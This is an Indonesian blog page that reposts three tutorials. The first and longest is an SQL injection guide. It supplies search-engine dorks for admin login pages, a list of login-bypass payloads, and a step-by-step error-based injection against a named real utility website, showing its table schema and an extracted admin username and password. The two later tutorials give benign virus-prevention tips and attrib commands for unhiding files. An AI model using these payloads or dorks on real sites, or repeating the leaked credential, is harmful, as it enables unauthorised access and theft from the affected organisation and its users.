Welcome To Cyber Club Community

06 September 2007

My SQL Injection

Sedikit review about SQL injection
SQL Injection adalah memasukkan kode-kode SQL untuk mendapatkan akses ke database yang lebih besar daripada yang seharusnya kita dapatkan, terutama pada script yang tidak memvalidasi input dari user.
SQL Injection sebenarnya sudah sering dibahas dimana-mana, tetapi ternyata masih banyak webmaster yang belum tahu atau tidak peduli akan kelemahan ini.Apa saja yang diperlukan untuk melakukan SQL Injection ?1. Internet Explorer (wajib)
2. PC yang terhubung ke Internet (wajib, kecuali Anda mau hack PC Anda sendiri)3. Segelas kopi untuk menghilangkan rasa kantuk (optional)4. Metallica (optional)OK, langsung saja kita praktekkan, supaya lebih jelas.
Pertama bukalah [link] (google pancen oye) untuk mencari script yang terhubung ke database. Masukkan salah satu keyword di bawah ini(lengkap dengan tanda petiknya) :“/admin.asp”“/login.asp”“/logon.asp”“/adminlogin.asp”“/adminlogon
.asp”“
/admin_login.asp”“/admin_logon.asp”“/admin/admin.asp”“/admin/login.asp”“
/admin/logon.asp”“/admin/adminlogin.asp”“/admin/adminlogon.asp”“/admin/
admin_login.asp”“/admin/admin_logon.asp”“/administrator/admin.asp”“/
administrator/login.asp”“/administrator/logon.asp”“root/login.asp”“admin/
index.asp”
Anda bisa menambahkan daftarnya berdasarkan kreatifitas Anda sendiri. Bukalah salah satu link yang ditemukan oleh google, kemungkinan Anda akan menjumpai sebuah halaman login (user name dan password).Masukkan kode-kode berikut,User name : ` or `a’='aPassword : ` or `a’='a(termasuk tanda petiknya)
Jika berhasil, kemungkinan Anda akan masuk ke admin panel, di mana Anda bisa menambahkan berita, mengedit user yang lain, merubah about, dan lain-lain. Jika beruntung Anda bisa mendapatkan daftar kredit card yang banyak.
Jika tidak berhasil, cobalah mencari link yang lain yang ditemukan oleh google. Menurut pengalaman saya, dari sekitar 20 link yang saya coba, ada satu atau dua yang berhasil.Banyak variasi kode yang mungkin, antara lain :User name : adminPassword : ` or `a’='aDi bawah ini bisa dimasukkan baik ke user name maupun password :‘ or 0=0 –” or 0=0 –or 0=0 –‘ or 0=0 #” or 0=0 #or 0=0 #‘ or ‘x’='x” or “x”=”x‘) or (’x'=’x‘ or 1=1–” or 1=1–or 1=1–‘ or a=a–” or “a”=”a‘) or (’a'=’a“) or (”a”=”ahi” or “a”=”ahi” or 1=1 –hi’ or 1=1 –hi’ or ‘a’='ahi’) or (’a'=’ahi”) or (”a”=”aAnda masih bisa memperpanjang daftarnya sesuai kreatifitas Anda.
Hacking adalah seni. Hacking adalah perpaduan dari pengetahuan, kreatifitas dan kesabaran. Jika Anda memiliki ketiga-tiganya Anda akan berhasil.diambil dari tutorial yang tersebar di internet==================================================
Hingga Maret 2006, masih saja terdapat situs web di Republik Indonesia yang dibobol dengan teknik SQL Injection. Anda tahu betapa berbahaya bug yang satu ini ? Berikut akan kita sajikan step by step SQL Injection ini yang diambil dari langsung tulisan iko (iko94@yahoo.com)Catatan : kita akan membatasi bahasan pada SQL Injection di MS-SQL Server.Kita akan mengambil contoh di site www.pln-wilkaltim.co.idAda dua kelemahan di site ini, yaitu:1. Tabel News2. Tabel Admin
Langkah pertama, kita tentukan lubang mana yang bisa di-inject dengan jalan berjalan-jalan (enumeration) dulu di site tsb. Kita akan menemukan 2 model cara input parameter, yaitu dengan cara memasukkan lewat input box dan memasukkannya lewat alamat URL.
Kita ambil yang termudah dulu, dengan cara input box. Kemudian kita cari kotak login yang untuk admin.Ketemu di www.pln-wilkaltim.co.id/sipm/admin/admin.asp
Langkah pertama untuk menentukan nama tabel dan fieldnya, kita inject kotak NIP dengan perintah (password terserah, cabang biarkan aja):‘ having 1=1–jangan lupa untuk menuliskan tanda kutip tunggal dan tanda minus dobel (penting).Arti kedua tanda tsb bisa anda cari di tutorial SQL InjectionKemudian akan keluar pesan error:——————–Microsoft OLE DB Provider for ODBC Drivers (0×80040E14)[Microsoft][ODBC SQL Server Driver][SQL Server]Column‘T_ADMIN.NOMOR’ is invalid in the select list becauseit is not contained in an aggregate function andthere is no GROUP BY clause./sipm/admin/dologin.asp, line 7——————–Keluarlah nama field pertama kita !!!Catat nama tabel : T_ADMINCatat nama field : NOMOR
Kemudian kita akan mencari nama field-field berikutnya, beserta nama tabel yang mungkin berbeda-beda. Kita inject di kotak NIP (password terserah):‘ group by T_ADMIN.NOMOR having 1=1–Akan keluar pesan error:——————–Microsoft OLE DB Provider for ODBC Drivers (0×80040E14)[Microsoft][ODBC SQL Server Driver][SQL Server]Column‘T_ADMIN.NIP’ is invalid in the select list becauseit is not contained in either an aggregatefunction or the GROUP BY clause./sipm/admin/dologin.asp, line 7——————–Artinya itulah nama tabel dan field kedua kita.Catat : T_ADMIN.NIPKemudian kita cari field ke tiga :‘ group by T_ADMIN.NOMOR,T_ADMIN.NIP having 1=1–Akan keluar pesan error:——————–Microsoft OLE DB Provider for ODBC Drivers (0×80040E14)[Microsoft][ODBC SQL Server Driver][SQL Server]Column‘T_ADMIN.PASSWORD’ is invalid in the select list becauseit is not contained in either an aggregatefunction or the GROUP BY clause./sipm/admin/dologin.asp, line 7——————–Catat field ke tiga : T_ADMIN.PASSWORDLakukan langkah di atas sampai kita menemukan field terakhir.Berikut adalah pesan error yang terjadi, jika kita mengecekfield terakhir dengan meng-inject:‘ group by T_ADMIN.NOMOR,T_ADMIN.NIP,T_ADMIN.PASSWORD,T_ADMIN.NAMA,T
_ADMIN.KD_RANTING,T_ADMIN.ADDRESS,T_ ADMIN.EMAILhaving 1=1–(catatan : kalimat harus 1 baris, tidak dipotong)——————–- NIP atau Password atau Unit Anda salah !! -——————–Sukses !!! Kita berhasil menemukan field terakhir.Daftar kolom (field):T_ADMIN.NOMORT_ADMIN.NIPT_ADMIN.PASSWORDT_ADMIN.
NAMAT_ADMIN.KD_RANTINGT_ADMIN.ADDRESST_ADMIN.EMAILHanya ada satu tabel untuk otentifikasi ini (yaitu T_ADMIN),ini akan mempermudah proses kita selanjutnya.Langkah berikutnya, kita menentukan jenis struktur field-field tersebut di atas.Kita inject di kotak NIP (pass terserah) :‘ union select sum(NOMOR) from T_ADMIN–Arti dari query tersebut adalah : kita coba menerapkanklausa sum sebelum menentukan apakah jumlah kolom-kolomdi dua rowsets adalah sejenis.Bahasa mudahnya adalah kita memasukkan klausa sum (jumlah)yang berlaku untuk type kolom numerik, jadi untuk type kolomyang bukan numerik, akan keluar error yang bisa memberitahukita jenis kolom yang dimaksud.Pesan error :——————–Microsoft OLE DB Provider for ODBC Drivers (0×80040E14)[Microsoft][ODBC SQL Server Driver][SQL Server]All queriesin an SQL statement containing a UNION operator must havean equal number of expressions in their target lists./sipm/admin/dologin.asp, line 7——————–artinya kolom NOMOR berjenis numerik.Berikutnya kita inject :‘ union select sum(NIP) from T_ADMIN–Akan keluar pesan error :——————–Microsoft OLE DB Provider for ODBC Drivers (0×80040E07)[Microsoft][ODBC SQL Server Driver][SQL Server]The sumor average aggregate operation cannot take a char datatype as an argument./sipm/admin/dologin.asp, line 7——————–Artinya kolom NIP bertype char.Kita harus mengulang perintah di atas untuk kolom yangberikutnya dengan jalan mengganti nama_kolom di :‘ union select sum(nama_kolom) from T_ADMIN–dengan kolom yang berikutnya.Kita peroleh 7 type kolom:T_ADMIN.NOMOR => numericT_ADMIN.NIP => charT_ADMIN.PASSWORD => nvarcharT_ADMIN.NAMA => charT_ADMIN.KD_RANTING => charT_ADMIN.ADDRESS => nvarcharT_ADMIN.EMAIL => charLangkah berikutnya, kita akan mencari isi kolom password,untuk user admin, dengan meng-inject :‘ union select min(NAMA),1,1,1,1,1,1 from T_ADMIN where NAMA > ‘a’–artinya kita memilih minimum nama user yang lebih besar dari ‘a’dan mencoba meng-konvert-nya ke tipe integer.Arti angka 1 sebanyak 6 kali itu adalah bahwa kita hanya memilihkolom NAMA, dan mengabaikan 6 kolom yang lain.Akan keluar pesan error :——————–Microsoft OLE DB Provider for ODBC Drivers (0×80040E07)[Microsoft][ODBC SQL Server Driver][SQL Server]Syntaxerror converting the varchar value ‘bill ‘ toa column of data type int./sipm/admin/dologin.asp, line 7——————–Anda lihat :varchar value ‘bill ‘‘bill’ itu adalah nama user di record yang terakhir dimasukkan,atau isi kolom NAMA di record yang terakhir dimasukkan.Selanjutnya kita inject :‘ union select min(PASSWORD),1,1,1,1,1,1 from T_ADMIN whereNAMA = ‘bill’–catatan : harus sebaris (tidak dipotong).Akan keluar error :———————Microsoft OLE DB Provider for ODBC Drivers (0×80040E07)[Microsoft][ODBC SQL Server Driver][SQL Server]Syntaxerror converting the nvarchar value ‘m@mpusk@u’ to acolumn of data type int./sipm/admin/dologin.asp, line 7———————Artinya kita berhasil !!!Kita dapatkan[+] NAMA = bill[+] PASSWORD = m@mpusk@uSilahkan login ke :www.pln-wilkaltim.co.id/sipm/admin/admin.aspdengan account di atas, sedang nama cabang, silahkan andaisi sendiri dengan cara coba-cobaAtau kita pakai jalan pintas saja….Kita inject-kan :‘ union select min(KD_RANTING),1,1,1,1,1,1 from T_ADMINwhere NAMA =’bill’–catatan : harus satu baris.Duarrrrrr……….Glhodhak………….Langsung masuk ke menu admin.Ingat : jangan buat kerusakan ! beritahu sang admin !!!Lubang ke dua adalah pada bagian berita.Pada dasarnya berita di situ adalah isi dari tabel yanglain lagi. Jadi tetep bisa kita inject !!!Bedanya, kita harus memasukkan parameter di alamat URL-nya.Contoh :http://www.pln-wilkaltim.co.id/dari_…&idm=40&idSM=2ada parameter id dan idSM.Setelah kita coba inject, ternyata yang berpengaruh adalahparameter id aja (CMIIW).Kita inject-kan :www.pln-wilkaltim.co.id/dari_Media.asp?id=2119' having 1=1–akan keluar pesan error :—————————Microsoft OLE DB Provider for ODBC Drivers (0×80040E14)[Microsoft][ODBC SQL Server Driver][SQL Server]Column‘tb_news.NewsId’ is invalid in the select list becauseit is not contained in an aggregate function andthere is no GROUP BY clause./dari_Media.asp, line 58—————————artinya ‘tb_news.NewsId’ itulah nama tabel dan kolom kitayang pertama.Ulangi langkah-langkah kita di atas sampai didapatkan :tb_news.NewsId => numerictb_news.NewsCatId => numerictb_news.EntryDate => datetimetb_news.Title => nvarchartb_news.Content =>tb_news.FotoLink =>tb_news.FotoType => bit datatb_news.review =>tb_news.sumber => chartb_news.dateagenda => datetimeNah, selanjutnya adalah tugas anda sendiri untuk mengembangkanpengetahuan anda.Anda bisa men-insert berita yang bisa anda tentukan sendiriisinya.Inilah mengapa hole di MS-SQL Server ini demikian berbahaya.Perkiraan saya, nama-nama partai di situs KPU yang di-hackoleh Shizoprenic, juga ada di tabel-tabel suatu database,jadi tetep bisa dimasuki dengan cara SQL Injection ini.************************************************** ****KHUSUS BUAT ADMIN & WEB PROGRAMMER !!!************************************************** ****Cara pencegahan yang umum digunakan :1. Batasi panjang input box (jika memungkinkan), dengancara membatasinya di kode program, jadi si cracker pemulaakan bingung sejenak melihat input box nya gak bisa diinject dengan perintah yang panjang.2. Filter input yang dimasukkan oleh user, terutama penggunaantanda kutip tunggal (Input Validation).3. Matikan atau sembunyikan pesan-pesan error yang keluardari SQL Server yang berjalan.4. Matikan fasilitas-fasilitas standar seperti Stored Procedures,Extended Stored Procedures jika memungkinkan.5. Ubah “Startup and run SQL Server” menggunakan low privilege userdi SQL Server Security tab.Kayaknya yang satu ini, penting deh…jadi gue ambil aja…Di Copy Paste dari Bagus Bad_boy… (Virologi>info)

Cara Mudah Proteksi komputer anda dari virus tanpa program Antivirus & Firewall

Untuk mencegah virus, trojan, worm dan sejenisnya dengan memakai antivirus?, belum tentu berguna. Karena virus selalu lebih baru dari antivirus, kalau proteksi dengan program firewall & Antivirus RTS? (Real Time System), bisa juga... cumannya komputer anda akan berjalan lebih lambat, karena program tersebut residen di memory dan memakan system resource lagi pula setiap anda membuka program baru, selalu akan muncul pertanyaan apakah program ini boleh dijalankan.Jadi solusi yang aman, cepat dan praktis bagaimana? Nah baca lebih lanjut artikel ini. Artikel ini sengaja ditulis bagi anda yang ingin mencegah kerusakan system, file dan data anda tanpa perlu campur tangan antivirus dan firewall alias MANUAL.Pertama-tama akan kami jelaskan definisi dan bagaimana virus, trojan, worm dan sejenisnya bisa masuk ke dalam sistem komputer anda.1. Virus sebenarnya lain dengan trojan atau worm, tapi pada prakteknya penyebarannya virus banyak di maanfaatkan oleh program worm dan trojan. Trojan adalah sebuah program yang dapat dijalankan (biasanya ber-ekstension EXE) oleh pengguna komputer dan ketika program tersebut dijalankan, dia akan merubah sesuatu dari sistem komputer kita (pada umumnya registri windows yang diubah). Nah kalau virus itu residen di memori dan dia akan merubah file yang biasanya ber-ekstension EXE atau COM dan kadang-kadang file tersebut menjadi rusak. Kalau worm (cacing) merupakan program kecil yang berupa script yang bisa nempel di mana aja, bahkan bisa nempel di html file (file website).Program antivirus pada umumnya menggabungkan semua worm dan trojan dalam kategori VIRUS, cuma mungkin dikasih kode virusnya contoh yang worm di kasih kode W depannya baru nama worm tersebut (contoh: w32/sober) dan kita juga akan menggangapnya sama karena semua itu merusak sistem file komputer. Intinya virus bisa berupa atau berfungsi seperti trojan/worm dan sebaliknya juga, apalagi kalau file tersebut telah ter-infeksi, otomatis akan menjadi file trojan/worm juga, karena kalau pengguna membukanya akan meng-infeksi file-file lainnya.2. Penyebaran virus dulunya hanya bisa melalui media luar seperti disktet, tapi di jaman ini virus pada umumnya memanfaatkan teknologi internet untuk menyebar luas. Cara masuknya bisa melalui E-mail (attachment), mirc, messenger (kirim/download file), download dr situs (terutama situs porno) atau bahkan memanfaatkan kelemahan dari sistem browser kita. Banyak cara pembuat virus untuk menjebak orang supaya tertarik untuk men-download dan membuka file yang ber-virus, antara lain dengan iming-iming gambar porno, gambar lucu, tools yang berguna buat anda, cara dapat uang, games bagus, hingga yang baru-baru ada pesan dr FBI/CIA untuk anda.Sebenarnya cara mengatasi virus itu cukup mudah, antara lain:1. Jangan membuka atau menerima file yang di dapat dr email, mirc dan messenger kalau anda belum kenal dengan pengirimnya dan belum yakin file itu berisi virus.2. Kalau anda browser ke situs yang tidak anda kenal, matikan program java & java script. Matikan juga fitur install auto atau install on demand supaya program yang berisi virus tidak akan masuk secara otomatis ke komputer anda.3. Kalau membuka disket, CD, DVD, USB drive dan media luar apapun bentuknya, scan dahulu dengan program antivirus untuk memastikan itu benar-benar aman.Tips di atas mungkin akan mencegah masuknya virus ke komputer anda, tapi tidak akan 100% pasti komputer anda tidak terkena virus, bisa saja anda kecolongan. Lebih dari 90% komputer yang terkoneksi di Internet pernah terkena virus. Nah untuk mengatasi supaya anda aman dari virus, walaupun virus tersebut sempat masuk ke komputer anda, berikut ini adalah caranya:1. Virus pada umumnya akan merusak dan memperlambat proses kerja komputer. Untuk menghindari kerusakan yang ditimbulkan virus, anda harus punya cadangan penyimpanan data atau file system. Untuk itulah backup system & data sangat diperlukan, apalagi kita tidak akan mengetahui virus di masa yang akan datang akan secanggih apa dan efek kerusakan yang ditimbulkan sejauh apa. cara backup pada winXp dan winme dengan create restore point dahulu di program> accesories> system tools> system restore, win98 bisa pakai Microsoft Backup dengan membackup folder windows semuanya. Khusus untuk data, Winxp dan winme juga harus menggunakan Microsoft Backup, karena system restore tidak 100% mengembalikan data anda.Kalau anda males melakukannya secara manual, winxp dan winme sudah otomatis melakukannya setiap anda mematikan komputer anda, Untuk win98 satu-satunya cara hanya memakai program system schedule windows atau program lainnya yang berfungsi sebagai otomatis backup, ketika komputer lagi idle. tapi untuk pastinya, winxp dan winme juga harus memakai program tersebut supaya bila terjadi apa-apa, anda tinggal me-restore kembali. Bila komputer anda hari ini terkena virus, anda tinggal restore system sebelumnya atau yang kemarin.2. Cara ini adalah untuk mencegah virus merusak file system kita yang biasanya berakhiran EXE, dan Sebelum anda melakukan hal ini, anda harus terlebih dahulu membackup system windows anda (baca keterangan no 1 di atas), karena penulis takut anda melakukan kesalahan yang dapat berakibat fatal terhadap system anda. Anda juga harus mempunyai dasar Windows untuk melakukan ini, kalau tidak, anda akan bingung dan kesulitan untuk memahaminya.Caranya cukup mudah, anda tinggal merubah attribut dari file EXE anda menjadi READ ONLY alias cuma bisa dibaca, tidak bisa ditulis. caranya bisa anda menggunakan SEARCH dari windows anda, kemudian cari semua program yang ber-ektenstion EXE (search key-nya *.exe) di folder windows. Setelah itu blok semua program yang tampil (atau tekan ctrl+a) terus klik kanan pilih properties. Setelah itu pilih READ-ONLY di bagian bawah kotak pilihan atributes. Bagi yang tahu DOS (command prompt) bisa menggunakan perintah ATTRIB, fungsinya sama saja dengan cara di atas. contoh: c:\windows>attrib +r *.exeHal ini akan mencegah virus untuk merubah atau merusak file-file tersebut, karena pilihan tadi mematikan fitur untuk merubah file-file tersebut. Kalau anda ingin lebih yakin virus bisa mendeteksi hal tersebut, anda bisa tambahkan pilihan HIDDEN (menyembunyikan file tersebut) di sebelah kanan dari READ ONLY. Dengan kedua pilihan tersebut virus-virus pada umumnya tidak akan dapat menginfeksi file tersebut. Kalau anda ingin menampakan file HIDDEN ketika membuka folder di komputer anda, anda bisa pilih "show all hidden files" di "folder option".Anda juga bisa melakukan hal di atas ke semua folder komputer anda, kalau anda merasa hal ini perlu dilakukan, atau mungkin dilakukan juga ke file lain yang bukan ber-ekstensi EXE atau COM. Cara ini adalah cara yang paling efektif dan telah diuji coba oleh penulis. Satu hal yang penting diketahui, kalau anda ingin melakukan penghapusan atau perubahaan ataupun anda sering meng-update file yang ber-ekstensi EXE tersebut, anda harus ingat untuk membuka proteksi read-only atau hidden tersebut. Kalau tidak file tersebut tidak akan bisa dihapus atau diupdate, dan akan muncul pesan error.Ini adalah salah satu cara untuk memproteksi file, cara lainnya dan cara Untuk mengetahui cara virus merusak/merubah file, membasmi atau menghapus virus secara manual, akan penulis bahas di kesempatan lain.
Sumber:

Mengembalikan file/folder yg di hiden oleh virus (untuk USB)

Mengembalikan file/folder yg di hiden oleh virus (untuk USB)Pernah mengalami file dan folder anda di USB hilang oleh virus, untuk memunculkan kembali folder-folder yang disembunyikan pada flashdisk dan folder system32 Windows harus dilakukan secara manual melalui command prompt dengan perintah attrib, sebagai berikut
1. attrib -r -h -s F:\*.* /s/d
2. F adalah drive untuk Flashdisk atauKlik Start > Runketik cmdmasuk ke drive
flashdisk, mis drive Fketik F:trus attrib -s -h /S /D
3. perintah di atas bakalan munculin lagi folder2 yg di hidden, termasuk sub-sub folder di dalamnya serta file2 yang ada.Kembalikan file MS Word Anda !Untuk mengembalikan file ms.word yang disembunyikan oleh virus Decoy.A
1. Klik [Start]
2. klik [Run]
3. ketik [cmd]kemudian tekan tombol [Enter]
4. Kemudian ketik Attrib –s –h C:\*.doc /s , kemudian tekan tombol [Enter]Catatan: jika ingin mengembalikan data ms.word yang ada didrive lain [contoh: D atau USB] tulis perintah diatas dengan mengganti lokasi drive ayang akan diperiksa, dengan format Attrib –s –h "lokasi drive":\*.doc /sContoh : Attrib –s –h D:\*.doc /s

Sumber:

http://rocktuts.blogspot.com/2007/09/tutorial-tentang-virus.html